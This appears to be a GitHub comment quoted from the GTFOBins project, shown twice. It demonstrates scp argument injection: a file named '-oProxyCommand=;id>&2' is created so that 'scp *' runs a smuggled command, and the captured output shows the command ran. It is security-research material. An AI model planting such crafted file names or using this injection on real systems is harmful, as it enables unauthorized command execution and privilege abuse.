> In scp, there might be a solution using the -o ProxyCommand option from SSH but I could not create a working example within some minutes.

[x9x88pg2vd-prog]

In scp, there might be a solution using the -o ProxyCommand option from SSH but I could not create a working example within some minutes.

Nice! Here you are:

$ touch -- '-oProxyCommand=;id>&2' x x:
$ scp *
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
ssh_exchange_identification: Connection closed by remote host
lost connection

Originally posted by @cyrus-and in GTFOBins/GTFOBins.github.io#169 (comment)

[x9x88pg2vd-prog]

In scp, there might be a solution using the -o ProxyCommand option from SSH but I could not create a working example within some minutes.

Nice! Here you are:

$ touch -- '-oProxyCommand=;id>&2' x x:

$ scp *

uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)

ssh_exchange_identification: Connection closed by remote host

lost connection

Originally posted by @cyrus-and in GTFOBins/GTFOBins.github.io#169 (comment)